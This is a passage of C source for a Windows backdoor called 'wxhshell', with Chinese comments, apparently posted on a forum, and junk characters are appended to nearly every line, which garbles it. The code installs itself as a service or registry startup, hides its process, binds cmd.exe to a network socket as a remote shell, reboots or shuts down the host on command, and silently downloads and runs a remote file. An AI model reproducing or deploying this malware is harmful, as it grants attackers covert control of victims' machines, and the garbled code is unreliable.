  } 2c LIz@  
  else { xp.~i*!`  
3{O^q/R  
    switch(cmd[0]) { FIDV5Y/f  
  +:+q,0~*]  
  // 帮助 ^9UKsy/q  
  case '?': { HM /2/ /  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DKp+ nq$  
    break; >hQeu1 ~W  
  } j|c  
  // 安装 ;*Ldnj;B  
  case 'i': { .Cwg l  
    if(Install()) Qo+I98LX[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h(l4\)  
    else ]yiwdQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f .-b.nNf  
    break; yY_Zq\   
    } * G!C 'w\$  
  // 卸载 .zZee,kM  
  case 'r': { -|YG**i/  
    if(Uninstall()) rozp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m-Z<zEQ  
    else 4i|yEf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LVP2jTz  
    break; 4+"2K-]   
    } wc`UcGO  
  // 显示 wxhshell 所在路径 nLicog)!I  
  case 'p': { gqJSz}'  
    char svExeFile[MAX_PATH]; H0r@dn  
    strcpy(svExeFile,"\n\r"); I7,5ID4pn  
      strcat(svExeFile,ExeFile); R~ n[g  
        send(wsh,svExeFile,strlen(svExeFile),0); P'MfuTtT&  
    break; )_BQ@5NK  
    } f9ux+XQk9  
  // 重启 k+b!Lw!L  
  case 'b': { jwhc;y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dxfF.\BFDn  
    if(Boot(REBOOT)) |C"(K-do  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =z#6mSx|W  
    else { i[_B~/_  
    closesocket(wsh); |Lf>Z2E  
    ExitThread(0); tqbYrF)  
    } -|V1A[  
    break; ZEa31[@B[  
    } @ >_v/U'  
  // 关机 p?rh+0wgX  
  case 'd': { a4aM.o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wg{ 9X#|  
    if(Boot(SHUTDOWN)) ]t0]fb[J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1seWR"  
    else { GYH{_Fq  
    closesocket(wsh); +)$oy]  
    ExitThread(0); rZ`+g7&^Fh  
    } ,Y9bXC8+dU  
    break; ~P!\;S  
    } w]1hoYuV  
  // 获取shell o rBB5JJ  
  case 's': { O?,Grn%'.  
    CmdShell(wsh); ./5LV)_`  
    closesocket(wsh); hNU$a?eVpR  
    ExitThread(0); D]tI's1  
    break; P! cfe@;<4  
  } WAq! _xE  
  // 退出 [h&)h+xt  
  case 'x': { ^cRAtoa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,i RUR 8  
    CloseIt(wsh); a=_+8RyVQ  
    break; %Yw?!GvL[  
    } U/ds(*g@  
  // 离开 gug9cmA/Q7  
  case 'q': { _\&v A5-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Mbm'cM&}  
    closesocket(wsh); !#&`1cYX  
    WSACleanup(); xu%_Zt2/?j  
    exit(1); J(>T&G;  
    break; pSa pF)1>  
        } A4{14Y;?  
  } ) KvGJo)("  
  } d!57`bVOd  
&ci;0P#Q  
  // 提示信息 m3#rU%Wj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LUaOp "  
} t]gZ^5  
  } ?i{/iH~Sf  
p C^=?!:U  
  return; Phq"A[4=O  
} DyPHQ}G  
GBYeiEgZh  
// shell模块句柄 :MaP58dhh  
int CmdShell(SOCKET sock) y:',)f }  
{ <>v=jH|L  
STARTUPINFO si; $ U=j<^R}a  
ZeroMemory(&si,sizeof(si)); l"zwH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eQqnPqi-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v`r![QpYf  
PROCESS_INFORMATION ProcessInfo; -#Bk  
char cmdline[]="cmd"; Talmc|h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "LNLM  
  return 0; =O%Hf bx  
} G!)Q"+  
;~,)6UX7  
// 自身启动模式 N?EeT}m_  
int StartFromService(void) utu V'5GD  
{ gWD46+A){  
typedef struct A Xpg_JC  
{ <EKTFHJ!  
  DWORD ExitStatus; x?7z15\  
  DWORD PebBaseAddress; v? Zo5uVoq  
  DWORD AffinityMask; DuQW?9^232  
  DWORD BasePriority; {h*)|J  
  ULONG UniqueProcessId; -{XDQ{z<%  
  ULONG InheritedFromUniqueProcessId; ;,lFocGv  
}   PROCESS_BASIC_INFORMATION; Y{d-k1?s5  
"l 8YD&q  
PROCNTQSIP NtQueryInformationProcess; w2H^q3*  
"IHFme@^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sTS/ ]"l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y[{}124  
~2;\)/E\  
  HANDLE             hProcess; ^ItL_ 4  
  PROCESS_BASIC_INFORMATION pbi; LzTdi%u$0|  
QXu[<V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !$NQF/Ol  
  if(NULL == hInst ) return 0; WJJmM*>JW  
0Ke2%+yqJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~KQiNkA\|l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S3UJ)@ E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u!-v1O^[  
4L bll%[9  
  if (!NtQueryInformationProcess) return 0; XL7||9,(h  
'=0l{hv@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R=2"5Hy=  
  if(!hProcess) return 0; esM r@Oc  
L1#_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s:K'I7_#@  
?bAv{1dvT=  
  CloseHandle(hProcess); s<+;5, Q|  
=O/v]B8"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *C);IdhK%y  
if(hProcess==NULL) return 0; Tb:6IC7="  
~ o=kW2Y  
HMODULE hMod; U7''; w  
char procName[255]; Zi?:< H}  
unsigned long cbNeeded; 2>[xe  
<naxpflom0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i A<'i8$P  
R=<%!  
  CloseHandle(hProcess); WMa`! Q  
| |L^yI~_d  
if(strstr(procName,"services")) return 1; // 以服务启动 K$l@0r ~k  
j}O qWX>/  
  return 0; // 注册表启动 ]N2! 'c  
} aoQ$"PF9  
ejia4(Cd  
// 主模块 ;F_P<b 2  
int StartWxhshell(LPSTR lpCmdLine) \.'[!GE*c  
{ 0|<9eD\I=  
  SOCKET wsl; vb| d  
BOOL val=TRUE; b<%c ]z  
  int port=0; Wecxx^vtv6  
  struct sockaddr_in door; gFd*\Dk  
|c>.xt~  
  if(wscfg.ws_autoins) Install(); c^rWS&)P  
Zoy)2E{  
port=atoi(lpCmdLine); 18Vn[}]"  
6L;]5)#  
if(port<=0) port=wscfg.ws_port; *aJO5&w<T  
 |e<$  
  WSADATA data; 9 p,O>I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T^F83Py<  
S['cX ~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ol K+|nR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +|x{?%.O  
  door.sin_family = AF_INET; xs&xcR R"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c39j|/!;Y  
  door.sin_port = htons(port); B<ncOe  
Y/5(BK)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vN:!{)~z  
closesocket(wsl); $o0.oY#  
return 1; IT7],pM  
} ,!,tU7-H  
`kE7PXqa  
  if(listen(wsl,2) == INVALID_SOCKET) { w+r).PS}C  
closesocket(wsl); KnKf8c  
return 1; bT6VxbNS  
} u0]u"T&N!  
  Wxhshell(wsl); 3IJ0 P.x!o  
  WSACleanup(); @lq)L  
A;^ iy]"  
return 0; cU-A1W  
NMQG[py!f  
} t\h4-dJn  
_Hd|y  
// 以NT服务方式启动 |Y8}*C\M.h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1szObhN-l  
{ Z\]{{;%4b7  
DWORD   status = 0; )&O6d .  
  DWORD   specificError = 0xfffffff; Mna yiJl  
c%WO#}r|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xXc>YTK'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?68~g<d,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; icX4n  
  serviceStatus.dwWin32ExitCode     = 0; MV??S{^4  
  serviceStatus.dwServiceSpecificExitCode = 0; ~o/k?l  
  serviceStatus.dwCheckPoint       = 0; SQhVdYU1'  
  serviceStatus.dwWaitHint       = 0; Faa>bc~E  
{6WG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q 7 <d|s  
  if (hServiceStatusHandle==0) return; S>>wf:\ c  
3HBh 3p5  
status = GetLastError(); }O>4XFj  
  if (status!=NO_ERROR) 4lWqQVx  
{ "M@&*<S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K a& 2>F  
    serviceStatus.dwCheckPoint       = 0; PO8Z2"WI  
    serviceStatus.dwWaitHint       = 0; Z#B}#*<C  
    serviceStatus.dwWin32ExitCode     = status; {%CW!Rc  
    serviceStatus.dwServiceSpecificExitCode = specificError; E#_2t)20  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x=IZ0@p  
    return; d:w/{m% #  
  } gS'7:UH,  
>~Xe` }'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wV iTMlq  
  serviceStatus.dwCheckPoint       = 0; M.6uWwzQR  
  serviceStatus.dwWaitHint       = 0; -KV,l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @0s' (  
} Z'>UR.g  
NuSdN> 8ll  
// 处理NT服务事件,比如:启动、停止 G<=I\T'g;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y<u%J#'[  
{ /Jc{aw  
switch(fdwControl) 8nu!5 3  
{ Pc=ei  
case SERVICE_CONTROL_STOP: FwlD P  
  serviceStatus.dwWin32ExitCode = 0; C0 KFN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p^*a>d:d]  
  serviceStatus.dwCheckPoint   = 0; {lH'T1^m  
  serviceStatus.dwWaitHint     = 0;  ?O+.  
  { &6C]| 13;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tq~4W% p/  
  } l^}u S|c(  
  return; xs\<!  
case SERVICE_CONTROL_PAUSE: s+v9H10R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /&Cq-W  
  break; Sh1$AGm  
case SERVICE_CONTROL_CONTINUE: $ZGup"z)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `kxC# &HO  
  break; l?2  
case SERVICE_CONTROL_INTERROGATE: i+qg*o$  
  break; Y JMs9X~3  
}; l"A/6r!Dp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >\^oCbqF}~  
} Pj]^ p{>  
(3mL!1\  
// 标准应用程序主函数 p<(a);<L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @'}2xw[eU  
{ ]7cciob  
.%{B=_7  
// 获取操作系统版本 Y,v9o  
OsIsNt=GetOsVer(); B)[RIs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T0")Ryu  
@wa"pWx8  
  // 从命令行安装 x'|9A?ez@Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); Jk-WD"J6  
0RtZTCGO  
  // 下载执行文件 )I3E  
if(wscfg.ws_downexe) { >;1w-n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pP1DR'  
  WinExec(wscfg.ws_filenam,SW_HIDE); HEbL'fw^s  
} >!@D^3PPA  
p<H_]|7$7U  
if(!OsIsNt) { 1t^y?<)  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?k4Hk$V  
HideProc(); dp^PiyL  
StartWxhshell(lpCmdLine); gJr)z7W'8  
} )W 5g-@  
else t`E5bWG  
  if(StartFromService()) ]o]`X$n  
  // 以服务方式启动 JyTETf,y  
  StartServiceCtrlDispatcher(DispatchTable); h6?^rS8U  
else B G\)B  
  // 普通方式启动 )K@D4sl  
  StartWxhshell(lpCmdLine); e-P{)L<s5  
&! h~UZ  
return 0; A r~/KRK  
}
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只看该作者 1 发表于: 2006-10-10
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